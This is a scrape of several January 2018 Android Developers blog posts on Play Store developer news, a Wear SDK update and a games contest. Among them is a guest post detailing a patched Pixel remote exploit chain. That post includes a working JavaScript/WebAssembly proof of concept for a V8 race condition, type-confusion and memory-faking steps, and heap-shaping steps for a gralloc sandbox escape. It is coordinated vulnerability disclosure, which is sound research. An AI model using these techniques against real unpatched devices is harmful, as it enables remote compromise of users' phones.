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Wednesday, January 31, 2018

Android Developer Story: Big Fish Games uses open beta testing to de-risk their game launch

Posted by Kacey Fahey, Developer Marketing, Google Play


Based in Seattle, Big Fish Games was founded in 2002. Starting as a game studio, they quickly turned into a major publisher and distributor of casual games. Leading up to the launch of their hit time management game, Cooking Craze, the team ran an open beta on Google Play.






Big Fish Games found that using open beta provided more than 10x the amount of user feedback from around the world, and also gave them access to key metrics and Android Vitals in the Play Console. The ability to monitor game performance metrics pre-launch allowed the team to focus on areas of improvement, which lead to a 21% reduction in crash rate. The larger sample size of beta testers also provided more insights on player behavior and helped achieve a +7% improvement in day 1, day 7, and day 30 retention rates.



You can also learn more pre-launch best practices and strategies to improve performance post-launch at our Google Developer Day on Monday, March 19th at GDC. Sign up to stay informed.



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Tuesday, January 30, 2018

How we fought bad apps and malicious developers in 2017



Posted by Andrew Ahn, Product Manager, Google Play


Apps bring devices to life -- letting you book a ride instantly, connect and share memories with friends, be alerted about current events, play games with someone across the globe, and get work done in the office or on the road. Google Play is committed to providing a safe experience for billions of Android users to find and discover such apps. Over the years, this commitment has made Google Play a more trusted and safer place. Last year we've more than halved the probability of a user installing a bad app, protecting people and their devices from harm's way, and making Google Play a more challenging place for those who seek to abuse the app ecosystem for their own gain.



In 2017, we took down more than 700,000 apps that violated the Google Play policies, 70% more than the apps taken down in 2016. Not only did we remove more bad apps, we were able to identify and action against them earlier. In fact, 99% of apps with abusive contents were identified and rejected before anyone could install them. This was possible through significant improvements in our ability to detect abuse - such as impersonation, inappropriate content, or malware - through new machine learning models and techniques.



We've also developed new detection models and techniques that can identify repeat offenders and abusive developer networks at scale. This resulted in taking down of 100,000 bad developers in 2017, and made it more difficult for bad actors to create new accounts and attempt to publish yet another set of bad apps.



Here are a few examples of bad apps we took action against in 2017:


Copycats





Attempting to deceive users by impersonating famous apps is one of the most common violations. Famous titles get a lot of search traffic for particular keywords, so the bad actors try to amass installs leveraging such traffic. They do this by trying to sneak in impersonating apps to the Play Store through deceptive methods such as using confusable unicode characters or hiding impersonating app icons in a different locale. In 2017, we took down more than a quarter of a million of impersonating apps.






Inappropriate content





We don't allow apps that contain or promote inappropriate content, such as pornography, extreme violence, hate, and illegal activities. The improved machine learning models sift through massive amounts of incoming app submissions and flag them for potential violations, aiding the human reviewers in effectively detecting and enforcing on the problematic apps. Tens of thousands of apps with inappropriate content were taken down last year as a result of such improved detection methods.





Potentially Harmful Applications (PHAs)





PHAs are a type of malware that can harm people or their devices -- e.g., apps that conduct SMS fraud, act as trojans, or phishing user's information. While small in volume, PHAs pose a threat to Android users and we invest heavily in keeping them out of the Play Store. Finding these bad apps is non-trivial as the malicious developers go the extra mile to make their app look as legitimate as possible, but with the launch of Google Play Protect in 2017, the average annual PHA installs rates on Google Play was reduced by 50 percent year over year.






Despite the new and enhanced detection capabilities that led to a record-high takedowns of bad apps and malicious developers, we know a few still manage to evade and trick our layers of defense. We take these extremely seriously, and will continue to innovate our capabilities to better detect and protect against abusive apps and the malicious actors behind them. We are committed to make Google Play the most trusted and safe app store in the world.



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Friday, January 26, 2018

Join us for Google Developer Day at GDC 2018

Posted by Kacey Fahey, Developer Marketing, Google Play


We're hosting another Google Developer Day at this year's Game Developers Conference (GDC) on Monday, March 19th.






Join us for a full day, where we'll kick things off with a keynote to share our latest news for game developers, followed by three sessions focused on innovation & new platforms, pre-launch best practices, and strategies to improve performance post-launch. Each session will include mini-talks from different Google teams and developer partners sharing new tools, learnings and more.



We'll also have a booth in Moscone South, Wednesday (March 21) through Friday (March 23), offering three days of additional talks from many Google teams and a chance for you to ask the experts any of your questions. Stop by to hear talks, meet experts, and try out exciting demos. These events are part of the official Game Developers Conference and require a pass to attend.



Learn more about Google's activities throughout the week on our event site where you can sign up to stay informed. For those who can't make it in person, join the live stream starting at 10am PST on Monday, March 19th.



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Thursday, January 25, 2018

Android Wear SDK and Emulator Update


Posted by Hoi Lam, Lead Developer Advocate, Android Wear




Today we launched the latest version of the Android Wear SDK (2.2.0) with several watch face related enhancements. These include the addition of an unread notification indicator for all watch faces, which is planned to be part of the upcoming consumer release of Android Wear. With the Wear SDK 2.2.0, you can customize the notification indicator or display your own. This feature is available to the developer community early, via the SDK and emulator, so you can verify that the indicator fits the design of your watch face. In addition, we are adding enhancements to the ComplicationDrawable class and publishing the final version of the Wear emulator based on Android Oreo.






Introducing the unread notification indicator





Notification is a vital part of the Wear experience. As a result, starting from the next consumer release of Wear (version 2.9.0), a dot-shaped indicator will be displayed by default at the bottom of the watch face if there are new, unread notifications. Watch face developers can preview the indicator with their watch faces by using the latest version of the emulator. Developers can customise the indicator's accent color via WatchFaceStyle.setAccentColor - the default color is white as shown in the example below, but developers can set the color for the ring around the dot to an accent color of their choice, to match the rest of the watch face.



If the new indicator does not fit with the design of your watch face, you can switch it off using WatchFaceStyle.setHideNotificationIndicator and choose another option for displaying the notification, including: 1) displaying the number of unread notifications in the system tray using WatchFaceStyle.setShowUnreadCountIndicator, or 2) getting the number of unread notifications using WatchFaceStyle.getUnreadCount and displaying the number in a way that fits your watch face's unique style.







Enhancement to ComplicationDrawable





We launched the ComplicationDrawable class at last year's Google I/O, and we are continuing to improve it. In this latest SDK release, we added two enhancements:



  • Permission Handling - If the watch face lacks the correct permission to display the content of a complication, the complication type of TYPE_NO_PERMISSION is issued. ComplicationDrawable now handles this automatically and will launch a permission request in onTap. If you previously implemented your own code to start the permission screen, please check that the permission screen is not triggered twice and, if necessary, remove unneeded code.

  • Drawable Callback - If a complication contains an image or an icon, it can take a small amount of time to load after the other initial data arrives. Our previous recommendation therefore was that you redraw the screen every second. But this is unnecessary for watch faces that only update once per minute, for example. As a result, we have added new support for Drawable.Callback to ComplicationDrawable. Developers who update the screen less frequently than once per second should adopt this new callback to redraw the watch face when images have loaded.


For more, please see the Android Wear Release Notes which includes other information regarding the emulator.






More improvements to come





Many of you have noticed a steady release of enhancements to Android Wear over the last few months since the launch of Wear 2.0. We are developing many more for the months ahead and look forward to sharing more when the features are ready.












Wednesday, January 17, 2018

Android Security Ecosystem Investments Pay Dividends for Pixel









Posted by Mayank Jain and Scott Roberts of the Android Security team


In June 2017, the Android security team increased the top payouts for the Android Security Rewards (ASR) program and worked with researchers to streamline the exploit submission process. In August 2017, Guang Gong (@oldfresher) of Alpha Team, Qihoo 360 Technology Co. Ltd. submitted the first working remote exploit chain since the ASR program's expansion. For his detailed report, Gong was awarded $105,000, which is the highest reward in the history of the ASR program and $7500 by Chrome Rewards program for a total of $112,500. The complete set of issues was resolved as part of the December 2017 monthly security update. Devices with the security patch level of 2017-12-05 or later are protected from these issues.



All Pixel devices or partner devices using A/B (seamless) system updates will automatically install these updates; users must restart their devices to complete the installation.



The Android Security team would like to thank Guang Gong and the researcher community for their contributions to Android security. If you'd like to participate in Android Security Rewards program, check out our Program rules. For tips on how to submit reports, see Bug Hunter University.



The following article is a guest blog post authored by Guang Gong of Alpha team, Qihoo 360 Technology Ltd.


Technical details of a Pixel remote exploit chain





The Pixel phone is protected by many layers of security. It was the only device that was not pwned in the 2017 Mobile Pwn2Own competition. But in August 2017, my team discovered a remote exploit chain—the first of its kind since the ASR program expansion. Thanks to the Android security team for their responsiveness and help during the submission process.



This blog post covers the technical details of the exploit chain. The exploit chain includes two bugs, CVE-2017-5116 and CVE-2017-14904. CVE-2017-5116 is a V8 engine bug that is used to get remote code execution in sandboxed Chrome render process. CVE-2017-14904 is a bug in Android's libgralloc module that is used to escape from Chrome's sandbox. Together, this exploit chain can be used to inject arbitrary code into system_server by accessing a malicious URL in Chrome. To reproduce the exploit, an example vulnerable environment is Chrome 60.3112.107 + Android 7.1.2 (Security patch level 2017-8-05) (google/sailfish/sailfish:7.1.2/NJH47F/4146041:user/release-keys). 


The RCE bug (CVE-2017-5116)





New features usually bring new bugs. V8 6.0 introduces support for SharedArrayBuffer, a low-level mechanism to share memory between JavaScript workers and synchronize control flow across workers. SharedArrayBuffers give JavaScript access to shared memory, atomics, and futexes. WebAssembly is a new type of code that can be run in modern web browsers— it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages, such as C/C++, with a compilation target so that they can run on the web. By combining the three features, SharedArrayBuffer WebAssembly, and web worker in Chrome, an OOB access can be triggered through a race condition. Simply speaking, WebAssembly code can be put into a SharedArrayBuffer and then transferred to a web worker. When the main thread parses the WebAssembly code, the worker thread can modify the code at the same time, which causes an OOB access.



The buggy code is in the function GetFirstArgumentAsBytes where the argument args may be an ArrayBuffer or TypedArray object. After SharedArrayBuffer is imported to JavaScript, a TypedArray may be backed by a SharedArraybuffer, so the content of the TypedArray may be modified by other worker threads at any time.





i::wasm::ModuleWireBytes GetFirstArgumentAsBytes(
const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) {
......
} else if (source->IsTypedArray()) { //--->source should be checked if it's backed by a SharedArrayBuffer
// A TypedArray was passed.
Local<TypedArray> array = Local<TypedArray>::Cast(source);
Local<ArrayBuffer> buffer = array->Buffer();
ArrayBuffer::Contents contents = buffer->GetContents();
start =
reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset();
length = array->ByteLength();
}
......
return i::wasm::ModuleWireBytes(start, start + length);
}




A simple PoC is as follows:





<html>
<h1>poc</h1>
<script id="worker1">
worker:{
self.onmessage = function(arg) {
console.log("worker started");
var ta = new Uint8Array(arg.data);
var i =0;
while(1){
if(i==0){
i=1;
ta[51]=0; //--->4)modify the webassembly code at the same time
}else{
i=0;
ta[51]=128;
}
}
}
}
</script>
<script>
function getSharedTypedArray(){
var wasmarr = [
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03,
0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e,
0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65,
0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01,
0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b,
0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b];
var sb = new SharedArrayBuffer(wasmarr.length); //---> 1)put WebAssembly code in a SharedArrayBuffer
var sta = new Uint8Array(sb);
for(var i=0;i<sta.length;i++)
sta[i]=wasmarr[i];
return sta;
}
var blob = new Blob([
document.querySelector('#worker1').textContent
], { type: "text/javascript" })

var worker = new Worker(window.URL.createObjectURL(blob)); //---> 2)create a web worker
var sta = getSharedTypedArray();
worker.postMessage(sta.buffer); //--->3)pass the WebAssembly code to the web worker
setTimeout(function(){
while(1){
try{
sta[51]=0;
var myModule = new WebAssembly.Module(sta); //--->4)parse the WebAssembly code
var myInstance = new WebAssembly.Instance(myModule);
//myInstance.exports.getAnswerPlus1();
}catch(e){
}
}
},1000);

//worker.terminate();
</script>
</html>




The text format of the WebAssembly code is as follows:





00002b func[0]:
00002d: 41 2a | i32.const 42
00002f: 0b | end
000030 func[1]:
000032: 10 00 | call 0
000034: 41 01 | i32.const 1
000036: 6a | i32.add
000037: 0b | end




First, the above binary format WebAssembly code is put into a SharedArrayBuffer, then a TypedArray Object is created, using the SharedArrayBuffer as buffer. After that, a worker thread is created and the SharedArrayBuffer is passed to the newly created worker thread. While the main thread is parsing the WebAssembly Code, the worker thread modifies the SharedArrayBuffer at the same time. Under this circumstance, a race condition causes a TOCTOU issue. After the main thread's bound check, the instruction " call 0" can be modified by the worker thread to "call 128" and then be parsed and compiled by the main thread, so an OOB access occurs.






Because the "call 0" Web Assembly instruction can be modified to call any other Web Assembly functions, the exploitation of this bug is straightforward. If "call 0" is modified to "call $leak", registers and stack contents are dumped to Web Assembly memory. Because function 0 and function $leak have a different number of arguments, this results in many useful pieces of data in the stack being leaked.





 (func $leak(param i32 i32 i32 i32 i32 i32)(result i32)
i32.const 0
get_local 0
i32.store
i32.const 4
get_local 1
i32.store
i32.const 8
get_local 2
i32.store
i32.const 12
get_local 3
i32.store
i32.const 16
get_local 4
i32.store
i32.const 20
get_local 5
i32.store
i32.const 0
))




Not only the instruction "call 0" can be modified, any "call funcx" instruction can be modified. Assume funcx is a wasm function with 6 arguments as follows, when v8 compiles funcx in ia32 architecture, the first 5 arguments are passed through the registers and the sixth argument is passed through stack. All the arguments can be set to any value by JavaScript:





/*Text format of funcx*/
(func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32)
get_local 5
get_local 4
i32.add)

/*Disassembly code of funcx*/
--- Code ---
kind = WASM_FUNCTION
name = wasm#1
compiler = turbofan
Instructions (size = 20)
0x58f87600 0 8b442404 mov eax,[esp+0x4]
0x58f87604 4 03c6 add eax,esi
0x58f87606 6 c20400 ret 0x4
0x58f87609 9 0f1f00 nop

Safepoints (size = 8)

RelocInfo (size = 0)

--- End code ---




When a JavaScript function calls a WebAssembly function, v8 compiler creates a JS_TO_WASM function internally, after compilation, the JavaScript function will call the created JS_TO_WASM function and then the created JS_TO_WASM function will call the WebAssembly function. JS_TO_WASM functions use different call convention, its first arguments is passed through stack. If "call funcx" is modified to call the following JS_TO_WASM function.





/*Disassembly code of JS_TO_WASM function */
--- Code ---
kind = JS_TO_WASM_FUNCTION
name = js-to-wasm#0
compiler = turbofan
Instructions (size = 170)
0x4be08f20 0 55 push ebp
0x4be08f21 1 89e5 mov ebp,esp
0x4be08f23 3 56 push esi
0x4be08f24 4 57 push edi
0x4be08f25 5 83ec08 sub esp,0x8
0x4be08f28 8 8b4508 mov eax,[ebp+0x8]
0x4be08f2b b e8702e2bde call 0x2a0bbda0 (ToNumber) ;; code: BUILTIN
0x4be08f30 10 a801 test al,0x1
0x4be08f32 12 0f852a000000 jnz 0x4be08f62 <+0x42>




The JS_TO_WASM function will take the sixth arguments of funcx as its first argument, but it takes its first argument as an object pointer, so type confusion will be triggered when the argument is passed to the ToNumber function, which means we can pass any values as an object pointer to the ToNumber function. So we can fake an ArrayBuffer object in some address such as in a double array and pass the address to ToNumber. The layout of an ArrayBuffer is as follows:





/* ArrayBuffer layouts 40 Bytes*/                                                                                                                         
Map
Properties
Elements
ByteLength
BackingStore
AllocationBase
AllocationLength
Fields
internal
internal


/* Map layouts 44 Bytes*/
static kMapOffset = 0,
static kInstanceSizesOffset = 4,
static kInstanceAttributesOffset = 8,
static kBitField3Offset = 12,
static kPrototypeOffset = 16,
static kConstructorOrBackPointerOffset = 20,
static kTransitionsOrPrototypeInfoOffset = 24,
static kDescriptorsOffset = 28,
static kLayoutDescriptorOffset = 1,
static kCodeCacheOffset = 32,
static kDependentCodeOffset = 36,
static kWeakCellCacheOffset = 40,
static kPointerFieldsBeginOffset = 16,
static kPointerFieldsEndOffset = 44,
static kInstanceSizeOffset = 4,
static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5,
static kUnusedOffset = 6,
static kVisitorIdOffset = 7,
static kInstanceTypeOffset = 8, //one byte
static kBitFieldOffset = 9,
static kInstanceTypeAndBitFieldOffset = 8,
static kBitField2Offset = 10,
static kUnusedPropertyFieldsOffset = 11




Because the content of the stack can be leaked, we can get many useful data to fake the ArrayBuffer. For example, we can leak the start address of an object, and calculate the start address of its elements, which is a FixedArray object. We can use this FixedArray object as the faked ArrayBuffer's properties and elements fields. We have to fake the map of the ArrayBuffer too, luckily, most of the fields of the map are not used when the bug is triggered. But the InstanceType in offset 8 has to be set to 0xc3(this value depends on the version of v8) to indicate this object is an ArrayBuffer. In order to get a reference of the faked ArrayBuffer in JavaScript, we have to set the Prototype field of Map in offset 16 to an object whose Symbol.toPrimitive property is a JavaScript call back function. When the faked array buffer is passed to the ToNumber function, to convert the ArrayBuffer object to a Number, the call back function will be called, so we can get a reference of the faked ArrayBuffer in the call back function. Because the ArrayBuffer is faked in a double array, the content of the array can be set to any value, so we can change the field BackingStore and ByteLength of the faked array buffer to get arbitrary memory read and write. With arbitrary memory read/write, executing shellcode is simple. As JIT Code in Chrome is readable, writable and executable, we can overwrite it to execute shellcode.



Chrome team fixed this bug very quickly in chrome 61.0.3163.79, just a week after I submitted the exploit.


The EoP Bug (CVE-2017-14904)





The sandbox escape bug is caused by map and unmap mismatch, which causes a Use-After-Unmap issue. The buggy code is in the functions gralloc_map and gralloc_unmap:





static int gralloc_map(gralloc_module_t const* module,
buffer_handle_t handle)
{ ……
private_handle_t* hnd = (private_handle_t*)handle;
……
if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) &&
!(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) {
size = hnd->size;
err = memalloc->map_buffer(&mappedAddress, size,
hnd->offset, hnd->fd); //---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome render process.
if(err || mappedAddress == MAP_FAILED) {
ALOGE("Could not mmap handle %p, fd=%d (%s)",
handle, hnd->fd, strerror(errno));
return -errno;
}
hnd->base = uint64_t(mappedAddress) + hnd->offset; //---> save mappedAddress+offset to hnd->base
} else {
err = -EACCES;
}
……
return err;
}




gralloc_map maps a graphic buffer controlled by the arguments handle to memory space and gralloc_unmap unmaps it. While mapping, the mappedAddress plus hnd->offset is stored to hnd->base, but while unmapping, hnd->base is passed to system call unmap directly minus the offset. hnd->offset can be manipulated from a Chrome's sandboxed process, so it's possible to unmap any pages in system_server from Chrome's sandboxed render process.





static int gralloc_unmap(gralloc_module_t const* module,
buffer_handle_t handle)
{
……
if(hnd->base) {
err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset); //---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched.
if (err) {
ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base,
strerror(errno));
return -errno;
}
hnd->base = 0;
}
……
return 0;
}

int IonAlloc::unmap_buffer(void *base, unsigned int size,
unsigned int /*offset*/)
//---> look, offset is not used by unmap_buffer
{
int err = 0;
if(munmap(base, size)) {
err = -errno;
ALOGE("ion: Failed to unmap memory at %p : %s",
base, strerror(errno));
}
return err;
}




Although SeLinux restricts the domain isolated_app to access most of Android system service, isolated_app can still access three Android system services.





52neverallow isolated_app {
53    service_manager_type
54    -activity_service
55    -display_service
56    -webviewupdate_service
57}:service_manager find;




To trigger the aforementioned Use-After-Unmap bug from Chrome's sandbox, first put a GraphicBuffer object, which is parseable into a bundle, and then call the binder method convertToTranslucent of IActivityManager to pass the malicious bundle to system_server. When system_server handles this malicious bundle, the bug is triggered.



This EoP bug targets the same attack surface as the bug in our 2016 MoSec presentation, A Way of Breaking Chrome's Sandbox in Android. It is also similar to Bitunmap, except exploiting it from a sandboxed Chrome render process is more difficult than from an app. 



To exploit this EoP bug:



1. Address space shaping. Make the address space layout look as follows, a heap chunk is right above some continuous ashmem mapping:





7f54600000-7f54800000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f58000000-7f54a00000 rw-s 001fe000 00:04 32783         /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781         /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779         /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777         /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775         /dev/ashmem/360alpha25 (deleted)
......




2. Unmap part of the heap (1 KB) and part of an ashmem memory (2MB–1KB) by triggering the bug:





7f54400000-7f54600000 rw-s 00000000 00:04 31603         /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
//--->There is a 2MB memory gap
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)




3. Fill the unmapped space with an ashmem memory:





7f54400000-7f54600000 rw-s 00000000 00:04 31603      /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0         [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605       /dev/ashmem/360alpha1001 (deleted)  
//--->The gap is filled with the ashmem memory 360alpha1001
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783      /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781      /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779      /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777      /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775      /dev/ashmem/360alpha25 (deleted)




4. Spray the heap and the heap data will be written to the ashmem memory:





7f54400000-7f54600000 rw-s 00000000 00:04 31603        /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0         [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605     /dev/ashmem/360alpha1001 (deleted)
//--->the heap manager believes the memory range from 0x7f547ff000 to 0x7f54800000 is still mongered by it and will allocate memory from this range, result in heap data is written to ashmem memory
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)




5. Because the filled ashmem in step 3 is mapped both by system_server and render process, part of the heap of system_server can be read and written by render process and we can trigger system_server to allocate some GraphicBuffer object in ashmem. As GraphicBuffer is inherited from ANativeWindowBuffer, which has a member named common whose type is android_native_base_t, we can read two function points (incRef and decRef) from ashmem memory and then can calculate the base address of the module libui. In the latest Pixel device, Chrome's render process is still 32-bit process but system_server is 64-bit process. So we have to leak some module's base address for ROP. Now that we have the base address of libui, the last step is to trigger ROP. Unluckily, it seems that the points incRef and decRef haven't been used. It's impossible to modify it to jump to ROP, but we can modify the virtual table of GraphicBuffer to trigger ROP.





typedef struct android_native_base_t
{
/* a magic value defined by the actual EGL native type */
int magic;

/* the sizeof() of the actual EGL native type */
int version;

void* reserved[4];

/* reference-counting interface */
void (*incRef)(struct android_native_base_t* base);
void (*decRef)(struct android_native_base_t* base);
} android_native_base_t;




6.Trigger a GC to execute ROP



When a GraphicBuffer object is deconstructed, the virtual function onLastStrongRef is called, so we can replace this virtual function to jump to ROP. When GC happens, the control flow goes to ROP. Finding an ROP chain in limited module(libui) is challenging, but after hard work, we successfully found one and dumped the contents of the file into /data/misc/wifi/wpa_supplicant.conf .


Summary





The Android security team responded quickly to our report and included the fix for these two bugs in the December 2017 Security Update. Supported Google device and devices with the security patch level of 2017-12-05 or later address these issues. While parsing untrusted parcels still happens in sensitive locations, the Android security team is working on hardening the platform to mitigate against similar vulnerabilities.



The EoP bug was discovered thanks to a joint effort between 360 Alpha Team and 360 C0RE Team. Thanks very much for their effort.



Monday, January 15, 2018

Meet the finalists of the Google Play Indie Games Contest in Europe

Posted by Adriana Puchianu, Developer Marketing Google Play


Back in October we launched the 2nd edition of the href="https://events.withgoogle.com/indie-games-contest-2017/">Google Play Indie
Games Contest in Europe, with the aim to identify, showcase and reward indie
gaming talent from more than 30 countries. We were amazed by the innovation and
creativity that indie developers from the region have to offer.



Selecting just 20 finalists has once again been a huge challenge. We had a lot
of fun playing the games that will go on to showcase at the href="https://events.withgoogle.com/indie-games-contest-2017/final-event/#content">Saatchi
Gallery on February 13th in London. Without further ado, we are happy
to announce the Top 20 finalists of this year's edition. Congratulations to the
finalists and thanks to everyone else who has entered the contest.






href="https://play.google.com/store/apps/details?id=com.tuesdayquest.myplanet&e=-EnableAppDetailsPageRedesign">A
Planet of Mine

Tuesday Quest

France





href="https://play.google.com/store/apps/details?id=com.headupgames.bridgeconstructorportal&e=-EnableAppDetailsPageRedesign">Bridge
Constructor Portal

ClockStone Softwareentwicklung GmbH

Austria









href="https://play.google.com/store/apps/details?id=com.plug_in_digital.emma&e=-EnableAppDetailsPageRedesign">Bury
me, my Love

Playdius

France





href="https://play.google.com/store/apps/details?id=com.picodongames.CaptainTomGT&e=-EnableAppDetailsPageRedesign">Captain
Tom Galactic Traveler

Picodongames

France









href="https://play.google.com/store/apps/details?id=am.fury.core&e=-EnableAppDetailsPageRedesign">Core



FURYJAM



Russia





href="https://play.google.com/store/apps/details?id=com.nitrome.flatpack_android&hl=en&e=-EnableAppDetailsPageRedesign">Flat
Pack

Nitrome

United Kingdom








href="https://play.google.com/store/apps/details?id=pl.macaque.FernFlower">Fern
Flower

Macaque

Poland





href="https://play.google.com/store/apps/details?id=com.zutgames.ilovehue&e=-EnableAppDetailsPageRedesign">I
Love Hue

Zut!

United Kingdom











href="https://play.google.com/store/apps/details?id=air.com.gamebrain.jodeo">Jodeo


Gamebra.in

Turkey





href="https://play.google.com/store/apps/details?id=com.stateofplaygames.kami2">Kami
2


State of Play

United Kingdom











href="https://play.google.com/store/apps/details?id=com.fiftytwo.kensho_android&e=-EnableAppDetailsPageRedesign">Kenshō

FIFTYTWO

Russia





href="https://play.google.com/store/apps/details?id=com.tommysoereide.NoMoreButtons&e=-EnableAppDetailsPageRedesign">No
More Buttons

Tommy Søreide Kjær

Norway











href="https://play.google.com/store/apps/details?id=es.brokenrul.oldmansjourney&e=-EnableAppDetailsPageRedesign">Old
Man's Journey

Broken Rules Interactive Media GmbH

Austria





href="https://play.google.com/store/apps/details?id=com.develobster.ra2">Radium 2 | Ra²

Developster

Germany










href="https://play.google.com/store/apps/details?id=com.armorgames.thebigjourney.android&hl=en_GB">The
Big Journey

Catfishbox

Ukraine





href="https://play.google.com/store/apps/details?id=com.bluebraingames.thehouseofdavinci&e=-EnableAppDetailsPageRedesign">The
House of Da Vinci

Blue Brain Games, s.r.o.

Slovakia










href="https://play.google.com/store/apps/details?id=com.sheep.theofficequest&e=-EnableAppDetailsPageRedesign">The
Office Quest

11Sheep

Israel





href="https://play.google.com/store/apps/details?id=com.tvee.unbalance&e=-EnableAppDetailsPageRedesign">Unbalance

TVEE

Turkey











href="https://play.google.com/store/apps/details?id=com.Undervault&e=-EnableAppDetailsPageRedesign">Undervault

Andriy Bychkovskyi

Ukraine





href="https://play.google.com/store/apps/details?id=air.com.bartbonte.yellow&e=-EnableAppDetailsPageRedesign">yellow

Bart Bonte

Belgium






Check out the prizes



All the 20 finalists are getting:


  • A paid trip to London to showcase their game at the Final held at Saatchi
    Gallery

  • Inclusion of their game on a promotional billboard in London for 1 month

  • Inclusion of their game in a dedicated Indie Games Contest collection on the
    Indie Corner for one month in more than 40 countries across EMEA

  • Two (2) tickets to attend a 2018 Playtime event, an invitation-only event
    for top apps and games developers on Google Play

  • One (1) Pixel 2 device


They will also have the chance to win href="https://events.withgoogle.com/indie-games-contest-2017/prizes/#content">more
prizes at the final event.


Join the Google Play team and the finalists at the final event:



Anyone can now href="https://docs.google.com/forms/d/e/1FAIpQLSeuSgMmw5hvh1tNrVyTGZkNa6Wpt9tmBfQWrxTkYzWG_oRfsg/viewform">register
to attend the href="https://events.withgoogle.com/indie-games-contest-2017/final-event/#content">final
showcase event for free at the Saatchi Gallery in London on 13
February 2018
. Come and play some great games and have fun with indie
developers, industry experts, and the Google Play team.



How useful did you find this blogpost?


href="https://docs.google.com/forms/d/e/1FAIpQLScLTlzFd_aV-3rAdBqO1QxwCsuAcDCIM6fJFXyNcyf7zElVXg/viewform?entry.753333049=1%E2%98%85+%E2%80%93+Not+at+all&entry.2056663615&entry.646747778=playtime-10/17" style="color:gold;">★
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Friday, January 12, 2018

Faster Renewals for Test Subscriptions


Testing your in-app subscriptions is a critical step in ensuring you're offering
your customers a high quality service.



In order to make testing easier and faster, starting on February
20th
, we are introducing shorter renewal intervals for test purchases
made with license-test accounts. Currently, subscriptions by license-test
accounts renew daily. The new changes will allow you to test an entire
subscription cycle, including 6 renewals, in under an hour. We will also be
shortening the testing time intervals of features such as grace period and
account hold.



Please be aware that these changes are coming so you can update your testing
flows accordingly prior to the change. Also note that existing test
subscriptions still active on February 20, 2018 will automatically be canceled
at that time.


Renewal times



Renewal times will vary based on the subscription period:



























Subscription period
Test subscription period
1 week
5 minutes
1 month
5 minutes
3 month
10 minutes
6 month
15 minutes
1 year
30 minutes


Time intervals of the following features will also be shortened for test
subscriptions:























Feature
Test period
Free trial
3 minutes
Introductory price period
Same as test subscription period
Grace period (both 3 and 7 day)
5 minutes
Account hold
10 minutes


Note: These times are approximate; you may see some small
variations in the precise time of an event. To compensate for variation, call
the href="https://developers.google.com/android-publisher/api-ref/purchases/subscriptions">Google
Play Developer API to view current status after every subscription
expiration date.


Renewal limit



Due to the increase in renewal frequency, the number of renewals is limited to 6
regular renewals (not including intro price/free trial). After 6 renewals, the
subscription will be automatically canceled.


Examples



Here are several examples of how the new renewal times are applied.



Free trial





Grace period





Account hold






Don't forget to check the href="https://developer.android.com/google/play/billing/billing_testing.html">Testing
In-app Billing page for more details on testing your subscriptions. If you
still have questions, reach out through the comments or post your question on href="https://stackoverflow.com">Stackoverflow using the tag href="https://stackoverflow.com/questions/tagged/google-play">google-play.


Thursday, January 11, 2018

Android Excellence: Congratulations to the newly added apps and games

